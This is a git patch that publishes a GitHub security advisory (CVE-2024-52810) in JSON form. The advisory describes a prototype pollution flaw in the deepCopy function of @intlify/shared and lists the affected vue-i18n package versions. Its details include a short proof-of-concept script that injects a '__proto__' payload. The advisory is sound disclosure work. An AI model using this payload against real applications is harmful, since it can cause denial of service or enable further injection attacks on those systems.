From 4af7a7ff2285ce03ab001a1cb32b35f524aba8fb Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 2 Dec 2024 17:28:28 +0000 Subject: [PATCH] Publish GHSA-hjwq-mjwj-4x6c --- .../GHSA-hjwq-mjwj-4x6c.json | 179 ++++++++++++++++++ 1 file changed, 179 insertions(+) create mode 100644 advisories/github-reviewed/2024/12/GHSA-hjwq-mjwj-4x6c/GHSA-hjwq-mjwj-4x6c.json diff --git a/advisories/github-reviewed/2024/12/GHSA-hjwq-mjwj-4x6c/GHSA-hjwq-mjwj-4x6c.json b/advisories/github-reviewed/2024/12/GHSA-hjwq-mjwj-4x6c/GHSA-hjwq-mjwj-4x6c.json new file mode 100644 index 00000000000..df67435bfab --- /dev/null +++ b/advisories/github-reviewed/2024/12/GHSA-hjwq-mjwj-4x6c/GHSA-hjwq-mjwj-4x6c.json @@ -0,0 +1,179 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hjwq-mjwj-4x6c", + "modified": "2024-12-02T17:26:47Z", + "published": "2024-12-02T17:26:47Z", + "aliases": [ + "CVE-2024-52810" + ], + "summary": "@intlify/shared Prototype Pollution vulnerability", + "details": "**Vulnerability type: Prototype Pollution**\n\n**Affected Package:**\n\nProduct: @intlify/shared\nVersion: 10.0.4\n\n\n**Vulnerability Location(s):**\n\n`node_modules/@intlify/shared/dist/shared.cjs:232:26`\n\n\n**Description:**\n\nThe latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install @intlify/shared@10.0.4\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack: {}\nAfter Attack: {\"pollutedKey\":123}\n```\n\n\n```js\n(async () => {\nconst lib = await import('@intlify/shared');\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.deepCopy (JSON.parse('{\"__proto__\":{\"pollutedKey\":123}}'), someObj)\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\n**References**\n\n[Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection.\n\n[OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution.\n\n[PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@intlify/shared" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.7.0" + }, + { + "fixed": "9.14.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "@intlify/vue-i18n-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.7.0" + }, + { + "fixed": "9.14.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "vue-i18n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.7.0" + }, + { + "fixed": "9.14.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "petite-vue-i18n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.0.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "@intlify/shared" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.0.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "@intlify/vue-i18n-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.0.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "vue-i18n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.0.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52810" + }, + { + "type": "WEB", + "url": "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/intlify/vue-i18n" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-12-02T17:26:47Z", + "nvd_published_at": "2024-11-29T19:15:09Z" + } +} \ No newline at end of file